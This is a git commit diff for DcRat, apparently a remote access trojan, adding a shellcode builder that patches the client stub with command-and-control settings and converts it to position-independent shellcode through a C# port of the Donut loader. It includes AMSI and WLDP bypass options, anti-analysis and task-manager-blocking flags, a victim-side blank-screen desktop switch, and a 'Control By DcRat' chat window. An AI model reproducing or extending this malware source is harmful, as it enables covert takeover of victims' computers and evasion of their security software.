Add shellcode builder

This commit is contained in:
qwqdanchun 2021-05-08 22:47:53 +08:00
parent b3cfe88776
commit f34a1ffeff
58 changed files with 6626 additions and 57 deletions

View File

@ -60,7 +60,7 @@
<DebugSymbols>false</DebugSymbols>
</PropertyGroup>
<PropertyGroup>
<StartupObject />
<StartupObject>Client.Program</StartupObject>
</PropertyGroup>
<PropertyGroup />
<PropertyGroup>

View File

@ -29,27 +29,16 @@
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.textBox1 = new System.Windows.Forms.TextBox();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormChat));
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.button1 = new System.Windows.Forms.Button();
this.label1 = new System.Windows.Forms.Label();
this.textBox1 = new System.Windows.Forms.TextBox();
this.button1 = new System.Windows.Forms.Button();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.SuspendLayout();
//
// textBox1
//
this.textBox1.Anchor = System.Windows.Forms.AnchorStyles.Top;
this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.textBox1.Font = new System.Drawing.Font("宋体", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134)));
this.textBox1.Location = new System.Drawing.Point(8, 268);
this.textBox1.Margin = new System.Windows.Forms.Padding(2);
this.textBox1.Multiline = true;
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(487, 182);
this.textBox1.TabIndex = 0;
//
// richTextBox1
//
this.richTextBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
@ -59,11 +48,11 @@
this.richTextBox1.CausesValidation = false;
this.richTextBox1.Cursor = System.Windows.Forms.Cursors.No;
this.richTextBox1.Font = new System.Drawing.Font("宋体", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134)));
this.richTextBox1.Location = new System.Drawing.Point(8, 11);
this.richTextBox1.Location = new System.Drawing.Point(12, 11);
this.richTextBox1.Margin = new System.Windows.Forms.Padding(2);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.ReadOnly = true;
this.richTextBox1.Size = new System.Drawing.Size(357, 253);
this.richTextBox1.Size = new System.Drawing.Size(353, 253);
this.richTextBox1.TabIndex = 2;
this.richTextBox1.Text = "";
//
@ -83,16 +72,6 @@
this.pictureBox1.TabIndex = 4;
this.pictureBox1.TabStop = false;
//
// button1
//
this.button1.Location = new System.Drawing.Point(419, 422);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(75, 27);
this.button1.TabIndex = 5;
this.button1.Text = "Send";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// label1
//
this.label1.AutoSize = true;
@ -103,23 +82,44 @@
this.label1.TabIndex = 6;
this.label1.Text = "Control\r\nBy\r\nDcRat";
//
// textBox1
//
this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.textBox1.Location = new System.Drawing.Point(12, 269);
this.textBox1.Multiline = true;
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(474, 172);
this.textBox1.TabIndex = 8;
//
// button1
//
this.button1.Location = new System.Drawing.Point(410, 412);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(75, 28);
this.button1.TabIndex = 9;
this.button1.Text = "Send";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// FormChat
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.SystemColors.Window;
this.ClientSize = new System.Drawing.Size(502, 457);
this.ClientSize = new System.Drawing.Size(498, 453);
this.ControlBox = false;
this.Controls.Add(this.label1);
this.Controls.Add(this.button1);
this.Controls.Add(this.pictureBox1);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.label1);
this.Controls.Add(this.pictureBox1);
this.Controls.Add(this.richTextBox1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Margin = new System.Windows.Forms.Padding(2);
this.Name = "FormChat";
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Chat";
this.TopMost = true;
@ -132,12 +132,11 @@
}
#endregion
private System.Windows.Forms.TextBox textBox1;
public System.Windows.Forms.RichTextBox richTextBox1;
private System.Windows.Forms.Timer timer1;
private System.Windows.Forms.PictureBox pictureBox1;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.Button button1;
}
}

File diff suppressed because it is too large Load Diff

View File

@ -9,23 +9,6 @@ namespace Plugin.Handler
{
public class HandleBlankScreen
{
[DllImport("user32.dll")]
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll")]
private static extern bool SwitchDesktop(IntPtr hDesktop);
[DllImport("user32.dll")]
public static extern bool CloseDesktop(IntPtr handle);
[DllImport("user32.dll")]
public static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll")]
public static extern IntPtr GetThreadDesktop(int dwThreadId);
[DllImport("kernel32.dll")]
public static extern int GetCurrentThreadId();
enum DESKTOP_ACCESS : uint
{
DESKTOP_NONE = 0,
@ -45,16 +28,16 @@ namespace Plugin.Handler
}
// old desktop's handle, obtained by getting the current desktop assigned for this thread
public readonly IntPtr hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
public readonly IntPtr hOldDesktop = Native.GetThreadDesktop(Native.GetCurrentThreadId());
// new desktop's handle, assigned automatically by CreateDesktop
public IntPtr hNewDesktop = CreateDesktop("RandomDesktopName", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
public IntPtr hNewDesktop = Native.CreateDesktop("RandomDesktopName", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
public void Run()
{
try
{
SwitchDesktop(hNewDesktop);
Native.SwitchDesktop(hNewDesktop);
}
catch { }
}
@ -63,7 +46,7 @@ namespace Plugin.Handler
{
try
{
SwitchDesktop(hOldDesktop);
Native.SwitchDesktop(hOldDesktop);
}
catch { }
}

View File

@ -14,6 +14,23 @@ namespace Plugin.Handler
public delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
[DllImport("user32.dll")]
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll")]
public static extern bool SwitchDesktop(IntPtr hDesktop);
[DllImport("user32.dll")]
public static extern bool CloseDesktop(IntPtr handle);
[DllImport("user32.dll")]
public static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll")]
public static extern IntPtr GetThreadDesktop(int dwThreadId);
[DllImport("kernel32.dll")]
public static extern int GetCurrentThreadId();
[DllImport("user32.dll")]
public static extern IntPtr FindWindow(string className, string windowText);

View File

@ -81,6 +81,7 @@ namespace Server.Forms
this.txtPaste_bin = new System.Windows.Forms.TextBox();
this.chkAnti = new System.Windows.Forms.CheckBox();
this.chkAntiProcess = new System.Windows.Forms.CheckBox();
this.btnShellcode = new System.Windows.Forms.Button();
((System.ComponentModel.ISupportInitialize)(this.numDelay)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.picIcon)).BeginInit();
this.SuspendLayout();
@ -197,12 +198,12 @@ namespace Server.Forms
//
// btnBuild
//
this.btnBuild.Location = new System.Drawing.Point(429, 348);
this.btnBuild.Location = new System.Drawing.Point(571, 349);
this.btnBuild.Margin = new System.Windows.Forms.Padding(2);
this.btnBuild.Name = "btnBuild";
this.btnBuild.Size = new System.Drawing.Size(263, 45);
this.btnBuild.Size = new System.Drawing.Size(121, 45);
this.btnBuild.TabIndex = 95;
this.btnBuild.Text = "Build";
this.btnBuild.Text = "Build exe";
this.btnBuild.UseVisualStyleBackColor = true;
this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click);
//
@ -622,11 +623,22 @@ namespace Server.Forms
this.chkAntiProcess.Text = "Block taskmgr";
this.chkAntiProcess.UseVisualStyleBackColor = true;
//
// btnShellcode
//
this.btnShellcode.Location = new System.Drawing.Point(429, 349);
this.btnShellcode.Name = "btnShellcode";
this.btnShellcode.Size = new System.Drawing.Size(121, 45);
this.btnShellcode.TabIndex = 113;
this.btnShellcode.Text = "Shellcode";
this.btnShellcode.UseVisualStyleBackColor = true;
this.btnShellcode.Click += new System.EventHandler(this.btnShellcode_Click);
//
// FormBuilder
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(709, 403);
this.Controls.Add(this.btnShellcode);
this.Controls.Add(this.chkAntiProcess);
this.Controls.Add(this.chkAnti);
this.Controls.Add(this.txtGroup);
@ -743,5 +755,6 @@ namespace Server.Forms
private System.Windows.Forms.ListBox listBoxPort;
private System.Windows.Forms.CheckBox chkAnti;
private System.Windows.Forms.CheckBox chkAntiProcess;
private System.Windows.Forms.Button btnShellcode;
}
}

View File

@ -14,6 +14,7 @@ using dnlib.DotNet.Emit;
using System.Threading.Tasks;
using System.Diagnostics;
using Toolbelt.Drawing;
using Server.Helper.Donut;
namespace Server.Forms
{
@ -203,6 +204,7 @@ namespace Server.Forms
saveFileDialog1.FileName = "Client";
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
{
btnShellcode.Enabled = false;
btnBuild.Enabled = false;
WriteSettings(asmDef, saveFileDialog1.FileName);
asmDef.Write(saveFileDialog1.FileName);
@ -498,5 +500,56 @@ namespace Server.Forms
}
}
}
private void btnShellcode_Click(object sender, EventArgs e)
{
if (!chkPaste_bin.Checked && listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return;
if (checkBox1.Checked)
{
if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return;
if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
}
if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = getRandomCharacters();
if (chkPaste_bin.Checked && string.IsNullOrWhiteSpace(txtPaste_bin.Text)) return;
ModuleDefMD asmDef = null;
try
{
using (asmDef = ModuleDefMD.Load(@"Stub/Client.exe"))
{
string Temppath = Path.Combine(Application.StartupPath, @"Stub\tempClient.exe"); ;
if (File.Exists(Temppath))
{
File.Delete(Temppath);
}
File.Copy(Path.Combine(Application.StartupPath, @"Stub\Client.exe"), Temppath);
btnShellcode.Enabled = false;
btnBuild.Enabled = false;
WriteSettings(asmDef, Temppath);
asmDef.Write(Temppath);
asmDef.Dispose();
if (btnAssembly.Checked)
{
WriteAssembly(Temppath);
}
if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text))
{
IconInjector.InjectIcon(Temppath, txtIcon.Text);
}
Donut.Creat(Temppath);
File.Delete(Temppath);
MessageBox.Show("Done!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
SaveSettings();
this.Close();
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
asmDef?.Dispose();
btnBuild.Enabled = true;
}
}
}
}

View File

@ -0,0 +1,93 @@
using System;
using Server.Helper.Donut.Payloads;
public class Constants
{
public const int CIPHER_BLK_LEN = 128 / 8;
public const int DONUT_KEY_LEN = 128 / 8;
public const int DONUT_BLK_LEN = 128 / 8;
public const int DONUT_ERROR_SUCCESS = 0;
public const int DONUT_ERROR_FILE_NOT_FOUND = 1;
public const int DONUT_ERROR_FILE_EMPTY = 2;
public const int DONUT_ERROR_FILE_ACCESS = 3;
public const int DONUT_ERROR_FILE_INVALID = 4;
public const int DONUT_ERROR_NET_PARAMS = 5;
public const int DONUT_ERROR_NO_MEMORY = 6;
public const int DONUT_ERROR_INVALID_ARCH = 7;
public const int DONUT_ERROR_INVALID_URL = 8;
public const int DONUT_ERROR_URL_LENGTH = 9;
public const int DONUT_ERROR_INVALID_PARAMETER= 10;
public const int DONUT_ERROR_RANDOM = 11;
public const int DONUT_ERROR_DLL_FUNCTION = 12;
public const int DONUT_ERROR_ARCH_MISMATCH = 13;
public const int DONUT_ERROR_DLL_PARAM = 14;
public const int DONUT_ERROR_BYPASS_INVALID = 15;
public const int DONUT_ERROR_NORELOC = 16;
// target architecture;
public const int DONUT_ARCH_ANY = -1; // just for vbs,js and xsl files;
public const int DONUT_ARCH_X86 = 1; // x86;
public const int DONUT_ARCH_X64 = 2; // AMD64;
public const int DONUT_ARCH_X84 = 3; // AMD64 + x86;
// module type;
public const int DONUT_MODULE_NET_DLL = 1; // .NET DLL. Requires class and method;
public const int DONUT_MODULE_NET_EXE = 2; // .NET EXE. Executes Main if no class and method provided;
public const int DONUT_MODULE_DLL = 3; // Unmanaged DLL, function is optional;
public const int DONUT_MODULE_EXE = 4; // Unmanaged EXE;
public const int DONUT_MODULE_VBS = 5; // VBScript;
public const int DONUT_MODULE_JS = 6; // JavaScript or JScript;
public const int DONUT_MODULE_XSL = 7; // XSL with JavaScript/JScript or VBscript embedded;
// instance type;
public const int DONUT_INSTANCE_PIC = 1; // Self-contained;
public const int DONUT_INSTANCE_URL = 2; // Download from remote server;
// AMSI/WLDP options;
public const int DONUT_BYPASS_SKIP = 1; // Disables bypassing AMSI/WDLP;
public const int DONUT_BYPASS_ABORT = 2; // If bypassing AMSI/WLDP fails, the loader stops running;
public const int DONUT_BYPASS_CONTINUE = 3; // If bypassing AMSI/WLDP fails, the loader continues running;
public const int DONUT_MAX_PARAM = 8; // maximum number of parameters passed to method;
public const int DONUT_MAX_NAME = 256; // maximum length of string for domain, class, method and parameter names;
public const int DONUT_MAX_DLL = 8; // maximum number of DLL supported by instance;
public const int DONUT_MAX_URL = 256;
public const int DONUT_MAX_MODNAME = 8;
public const int DONUT_SIG_LEN = 8; // 64-bit string to verify decryption ok;
public const int DONUT_VER_LEN = 32;
public const int DONUT_DOMAIN_LEN = 8;
public const string DONUT_RUNTIME_NET2 = "v2.0.50727";
public const string DONUT_RUNTIME_NET4 = "v4.0.30319";
public const string NTDLL_DLL = "ntdll.dll";
public const string KERNEL32_DLL = "kernel32.dll";
public const string ADVAPI32_DLL = "advapi32.dll";
public const string CRYPT32_DLL = "crypt32.dll";
public const string MSCOREE_DLL = "mscoree.dll";
public const string OLE32_DLL = "ole32.dll";
public const string OLEAUT32_DLL = "oleaut32.dll";
public const string WININET_DLL = "wininet.dll";
public const string COMBASE_DLL = "combase.dll";
public const string USER32_DLL = "user32.dll";
public const string SHLWAPI_DLL = "shlwapi.dll";
// required to load .NET assemblies
public static Guid xCLSID_CorRuntimeHost = new Guid(0xcb2f6723, 0xab3a, 0x11d2, 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e);
public static Guid xIID_ICorRuntimeHost = new Guid(0xcb2f6722, 0xab3a, 0x11d2, 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e);
public static Guid xCLSID_CLRMetaHost = new Guid(0x9280188d, 0xe8e, 0x4867, 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde);
public static Guid xIID_ICLRMetaHost = new Guid(0xD332DB9E, 0xB9B3, 0x4125, 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16);
public static Guid xIID_ICLRRuntimeInfo = new Guid(0xBD39D1D2, 0xBA2F, 0x486a, 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91);
public static Guid xIID_AppDomain = new Guid(0x05F696DC, 0x2B29, 0x3663, 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13);
// Maru stuff
public static int MARU_MAX_STR = 64;
public static int MARU_BLK_LEN = 16;
public static int MARU_HASH_LEN = 8;
public static int MARU_IV_LEN = MARU_HASH_LEN;
// Payload shorthand
public static byte[] PAYLOAD_EXE_x86 = payload_exe_x86.PAYLOAD_EXE_X86;
public static byte[] PAYLOAD_EXE_x64 = payload_exe_x64.PAYLOAD_EXE_X64;
}

View File

@ -0,0 +1,30 @@
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using Server.Helper.Donut.Structs;
namespace Server.Helper.Donut
{
public class Donut
{
public static void Creat(string filepath)
{
DSConfig config = new Helper().InitStruct("DSConfig");
string savepath = "";
using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())
{
saveFileDialog1.Filter = ".bin (*.bin)|*.bin";
saveFileDialog1.InitialDirectory = Application.StartupPath;
saveFileDialog1.OverwritePrompt = false;
saveFileDialog1.FileName = "Client";
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
{
savepath = saveFileDialog1.FileName;
}
}
Helper.ParseArguments(filepath, savepath, ref config);
Generator.Donut_Create(ref config);
Marshal.FreeHGlobal(config.pic);
}
}
}

View File

@ -0,0 +1,315 @@
using System;
using System.IO;
using System.IO.MemoryMappedFiles;
using System.Runtime.InteropServices;
using Server.Helper.Donut.Structs;
namespace Server.Helper.Donut
{
public class Generator
{
public static int Donut_Create(ref DSConfig config)
{
int ret;
DSFileInfo fi = new DSFileInfo
{
ver = new char[Constants.DONUT_VER_LEN]
};
// Parse config and payload
ret = Helper.ParseConfig(ref config, ref fi);
if (ret != Constants.DONUT_ERROR_SUCCESS)
{
return ret;
}
// Create the module
ret = CreateModule(ref config, ref fi);
if (ret != Constants.DONUT_ERROR_SUCCESS)
{
return ret;
}
// Create the instance
ret = CreateInstance(ref config);
if (ret != Constants.DONUT_ERROR_SUCCESS)
{
return ret;
}
// Generates output
ret = GenerateOutput(ref config);
if (ret != Constants.DONUT_ERROR_SUCCESS)
{
return ret;
}
// Compiles loader
//ret = CompileLoader();
//if (ret != Constants.DONUT_ERROR_SUCCESS)
//{
// return ret;
//}
return Constants.DONUT_ERROR_SUCCESS;
}
public static int CreateModule(ref DSConfig config, ref DSFileInfo fi)
{
string[] param;
Console.WriteLine("\nPayload options:");
// Init Module struct
DSModule mod = new Helper().InitStruct("DSModule");
mod.type = fi.type;
// DotNet Assembly
if (mod.type == Constants.DONUT_MODULE_NET_DLL || mod.type == Constants.DONUT_MODULE_NET_EXE)
{
// If no AppDomain, generate one
if (config.domain[0] == 0)
{
Helper.Copy(config.domain, Helper.RandomString(8));
}
Console.WriteLine($"\tDomain:\t{Helper.String(config.domain)}");
Helper.Unicode(mod.domain, Helper.String(config.domain));
if (mod.type == Constants.DONUT_MODULE_NET_DLL)
{
Console.WriteLine($"\tClass:\t{Helper.String(config.cls)}");
Helper.Unicode(mod.cls, Helper.String(config.cls));
Console.WriteLine($"\tMethod:\t{Helper.String(config.method)}");
Helper.Unicode(mod.method, Helper.String(config.method));
}
// If no runtime specified, use the version from assembly
if (config.runtime[0] == 0)
{
config.runtime = fi.ver;
}
Console.WriteLine($"\tRuntime:{Helper.String(config.runtime)}");
Helper.Unicode(mod.runtime, Helper.String(config.runtime));
}
if (config.param != null)
{
// Assign params
param = Helper.String(config.param).Split(new char[] { ',', ';' });
for (int cnt = 0; cnt < param.Length; cnt++)
{
Helper.Unicode(mod.p[cnt].param, param[cnt]);
mod.param_cnt++;
}
// If no params, assign cnt = 0
if (param[0] == "")
{
mod.param_cnt = 0;
}
}
// Assign Module Length
mod.len = Convert.ToUInt32(new FileInfo(Helper.String(config.file)).Length);
// Update Module and Length in Config
config.mod = mod;
config.mod_len = Convert.ToUInt32(Marshal.SizeOf(typeof(DSModule))) + mod.len;
return Constants.DONUT_ERROR_SUCCESS;
}
public unsafe static int CreateInstance(ref DSConfig config)
{
byte[] bytes;
UInt32 inst_len = Convert.ToUInt32(Marshal.SizeOf(typeof(DSInstance)));
// Initialize Instance struct
DSInstance inst = new Helper().InitStruct("DSInstance");
// Add module size to instance len
if (config.inst_type == Constants.DONUT_INSTANCE_PIC)
{
inst_len += Convert.ToUInt32(Marshal.SizeOf(typeof(DSModule)) + 32) + Convert.ToUInt32(config.mod_len);
}
// Generate instance key and counter
bytes = Helper.RandomBytes(32);
for (var i = 0; i < bytes.Length; i++)
{
if (i < 16)
{
inst.key.ctr[i] = bytes[i];
}
else
{
inst.key.mk[i - 16] = bytes[i];
}
}
// Generate module key and counter
bytes = Helper.RandomBytes(32);
for (var i = 0; i < bytes.Length; i++)
{
if (i < 16)
{
inst.mod_key.ctr[i] = bytes[i];
}
else
{
inst.mod_key.mk[i - 16] = bytes[i];
}
}
// Create Verifier string
Helper.Copy(inst.sig, Helper.RandomString(8));
// Create IV
inst.iv = BitConverter.ToUInt64(Helper.RandomBytes(8), 0);
// Generate DLL and API hashes
Helper.APIImports(ref inst);
// Assign GUIDs and other vals
if (config.mod_type == Constants.DONUT_MODULE_NET_DLL || config.mod_type == Constants.DONUT_MODULE_NET_EXE)
{
inst.xIID_AppDomain = Constants.xIID_AppDomain;
inst.xIID_ICLRMetaHost = Constants.xIID_ICLRMetaHost;
inst.xCLSID_CLRMetaHost = Constants.xCLSID_CLRMetaHost;
inst.xIID_ICLRRuntimeInfo = Constants.xIID_ICLRRuntimeInfo;
inst.xIID_ICorRuntimeHost = Constants.xIID_ICorRuntimeHost;
inst.xCLSID_CorRuntimeHost = Constants.xCLSID_CorRuntimeHost;
}
Helper.Copy(inst.amsi.s, "AMSI");
Helper.Copy(inst.amsiInit, "AmsiInitialize");
Helper.Copy(inst.amsiScanBuf, "AmsiScanBuffer");
Helper.Copy(inst.amsiScanStr, "AmsiScanString");
Helper.Copy(inst.clr, "CLR");
Helper.Copy(inst.wldp, "WLDP");
Helper.Copy(inst.wldpQuery, "WldpQueryDynamicCodeTrust");
Helper.Copy(inst.wldpIsApproved,"WldpIsClassInApprovedList");
// Assign inst type
inst.type = config.inst_type;
// Update struct lengths
inst.mod_len = config.mod_len;
inst.len = inst_len;
config.inst = inst;
config.inst_len = inst_len;
// Generate MAC
inst.mac = Helper.Maru(Helper.String(inst.sig), ref inst);
// Copy Instance to memory
var instptr = Marshal.AllocHGlobal(Convert.ToInt32(config.inst_len));
Marshal.StructureToPtr(inst, instptr, false);
// Copy Module to memory
var modptr = Marshal.AllocHGlobal(Convert.ToInt32(config.mod_len));
Marshal.StructureToPtr(config.mod, modptr, false);
// Calculate offsets
var encoffset = Marshal.OffsetOf(typeof(DSInstance), "api_cnt").ToInt32();
var encptr = IntPtr.Add(instptr, encoffset);
var modoffset = Marshal.OffsetOf(typeof(DSInstance), "module").ToInt32();
var moddata = IntPtr.Add(instptr, modoffset);
var fileoffset = Marshal.OffsetOf(typeof(DSModule), "data").ToInt32();
// Copy Module to Instance
Buffer.MemoryCopy(modptr.ToPointer(), moddata.ToPointer(), Marshal.SizeOf(typeof(DSModule)), Marshal.SizeOf(typeof(DSModule)));
// if PIC, copy payload to instance
if (inst.type == Constants.DONUT_INSTANCE_PIC)
{
// Copy payload file to end of module
byte[] payload = File.ReadAllBytes(Helper.String(config.file));
IntPtr unmanagedPointer = Marshal.AllocHGlobal(payload.Length);
Marshal.Copy(payload, 0, unmanagedPointer, payload.Length);
Buffer.MemoryCopy(unmanagedPointer.ToPointer(), IntPtr.Add(moddata, fileoffset).ToPointer(), config.mod.len, config.mod.len);
Marshal.FreeHGlobal(unmanagedPointer);
}
// Release module
Marshal.FreeHGlobal(modptr);
// Encrypt instance
Helper.Encrypt(inst.key.mk, inst.key.ctr, encptr, Convert.ToUInt32(inst.len - encoffset));
// Generate final shellcode
int ret = Shellcode(ref config, instptr);
if (ret != Constants.DONUT_ERROR_SUCCESS)
{
return ret;
}
return Constants.DONUT_ERROR_SUCCESS;
}
public unsafe static int Shellcode(ref DSConfig config, IntPtr instptr)
{
// Generate PIC length
if (config.arch == Constants.DONUT_ARCH_X86)
{
config.pic_len = Convert.ToUInt32(Constants.PAYLOAD_EXE_x86.Length + Convert.ToInt32(config.inst_len) + 32);
config.pic = Marshal.AllocHGlobal(Marshal.SizeOf(config.pic_len));
}
else if (config.arch == Constants.DONUT_ARCH_X64)
{
config.pic_len = Convert.ToUInt32(Constants.PAYLOAD_EXE_x64.Length + Convert.ToInt32(config.inst_len) + 32);
config.pic = Marshal.AllocHGlobal(Marshal.SizeOf(config.pic_len));
}
else if (config.arch == Constants.DONUT_ARCH_X84)
{
config.pic_len = Convert.ToUInt32(Constants.PAYLOAD_EXE_x86.Length + Constants.PAYLOAD_EXE_x64.Length + Convert.ToInt32(config.inst_len) + 32);
config.pic = Marshal.AllocHGlobal(Convert.ToInt32(config.pic_len));
}
// Start shellcode and copy final Instance
Helper.PUT_BYTE(0xE8, ref config);
Helper.PUT_WORD(BitConverter.GetBytes(config.inst_len), ref config);
Helper.PUT_INST(instptr, Convert.ToInt32(config.inst_len), ref config);
Helper.PUT_BYTE(0x59, ref config);
// Finish shellcode based on arch
if (config.arch == Constants.DONUT_ARCH_X86)
{
Helper.PUT_BYTE(0x5A, ref config);
Helper.PUT_BYTE(0x51, ref config);
Helper.PUT_BYTE(0x52, ref config);
Helper.PUT_BYTES(Constants.PAYLOAD_EXE_x86, Constants.PAYLOAD_EXE_x86.Length, ref config);
}
else if (config.arch == Constants.DONUT_ARCH_X64)
{
Helper.PUT_BYTES(Constants.PAYLOAD_EXE_x64, Constants.PAYLOAD_EXE_x64.Length, ref config);
}
else if (config.arch == Constants.DONUT_ARCH_X84)
{
Helper.PUT_BYTE(0x31, ref config);
Helper.PUT_BYTE(0xC0, ref config);
Helper.PUT_BYTE(0x48, ref config);
Helper.PUT_BYTE(0x0F, ref config);
Helper.PUT_BYTE(0x88, ref config);
Helper.PUT_WORD(BitConverter.GetBytes(Constants.PAYLOAD_EXE_x64.Length), ref config);
Helper.PUT_BYTES(Constants.PAYLOAD_EXE_x64, Constants.PAYLOAD_EXE_x64.Length, ref config);
Helper.PUT_BYTE(0x5A, ref config);
Helper.PUT_BYTE(0x51, ref config);
Helper.PUT_BYTE(0x52, ref config);
Helper.PUT_BYTES(Constants.PAYLOAD_EXE_x86, Constants.PAYLOAD_EXE_x86.Length, ref config);
}
return Constants.DONUT_ERROR_SUCCESS;
}
public static int GenerateOutput(ref DSConfig config)
{
// Write Output
Helper.WriteOutput(ref config);
return Constants.DONUT_ERROR_SUCCESS;
}
}
}

View File

@ -0,0 +1,614 @@
using System;
using System.IO;
using System.Linq;
using System.Text;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using Server.Helper.Donut.Structs;
namespace Server.Helper.Donut
{
public class Helper
{
[StructLayout(LayoutKind.Explicit)]
public unsafe struct M
{
[FieldOffset(0)] public fixed byte b[16];
[FieldOffset(0)] public fixed UInt32 w[2];
}
[StructLayout(LayoutKind.Explicit)]
public unsafe struct X
{
[FieldOffset(0)] public fixed UInt32 w[2];
[FieldOffset(0)] public fixed UInt64 q[2];
}
// This parses if using commandline
public static void ParseArguments(string filepath, string savepath, ref DSConfig config)
{
char[] buffer = filepath.ToCharArray();
Array.Copy(buffer, 0, config.file, 0, buffer.Length);
config.arch = 3;
config.bypass = 3;
char[] payloadbuffer = savepath.ToCharArray();
Array.Copy(payloadbuffer, 0, config.outfile, 0, payloadbuffer.Length);
}
public static int ParseConfig(ref DSConfig config, ref DSFileInfo fi)
{
string file = new string(config.file).Replace("\0", "");
// Checks if file exists
if (File.Exists(file) == false)
{
return Constants.DONUT_ERROR_INVALID_PARAMETER;
}
// Validate URL
if (config.inst_type == Constants.DONUT_INSTANCE_URL)
{
// Make sure it's a validate URL (check this don't know exactly how it's checking)
if (Uri.IsWellFormedUriString(String(config.url), UriKind.Absolute) == false)
{
return Constants.DONUT_ERROR_INVALID_URL;
}
// If URL doesn't have trailing slash, add one
//if (config.url(config.url.Length - 1) != "/")
//{
// config.url += "/";
//}
}
// Validate Arch
if (config.arch != Constants.DONUT_ARCH_ANY &&
config.arch != Constants.DONUT_ARCH_X86 &&
config.arch != Constants.DONUT_ARCH_X84 &&
config.arch != Constants.DONUT_ARCH_X64)
{
return Constants.DONUT_ERROR_INVALID_ARCH;
}
// Validate AMSI/WDLP Bypass Option
if (config.bypass != Constants.DONUT_BYPASS_SKIP &&
config.bypass != Constants.DONUT_BYPASS_ABORT &&
config.bypass != Constants.DONUT_BYPASS_CONTINUE)
{
return Constants.DONUT_ERROR_BYPASS_INVALID;
}
// Get File Info
var ret = ParseInputFile(file, ref fi);
if (ret != Constants.DONUT_ERROR_SUCCESS)
{
return ret;
}
// Set Module Type
config.mod_type = fi.type;
if (config.mod_type == Constants.DONUT_MODULE_DLL || config.mod_type == Constants.DONUT_MODULE_EXE)
{
// Check for Arch mismatch
if ((config.arch == Constants.DONUT_ARCH_X86 && fi.arch == Constants.DONUT_ARCH_X64) ||
(config.arch == Constants.DONUT_ARCH_X64 && fi.arch == Constants.DONUT_ARCH_X86))
{
return Constants.DONUT_ERROR_ARCH_MISMATCH;
}
// Check existence of DLL function specified
if (config.mod_type == Constants.DONUT_MODULE_DLL && config.method != null)
{
try
{
var exported = new PeNet.PeFile(file).ExportedFunctions;
bool found = false;
foreach (var func in exported)
{
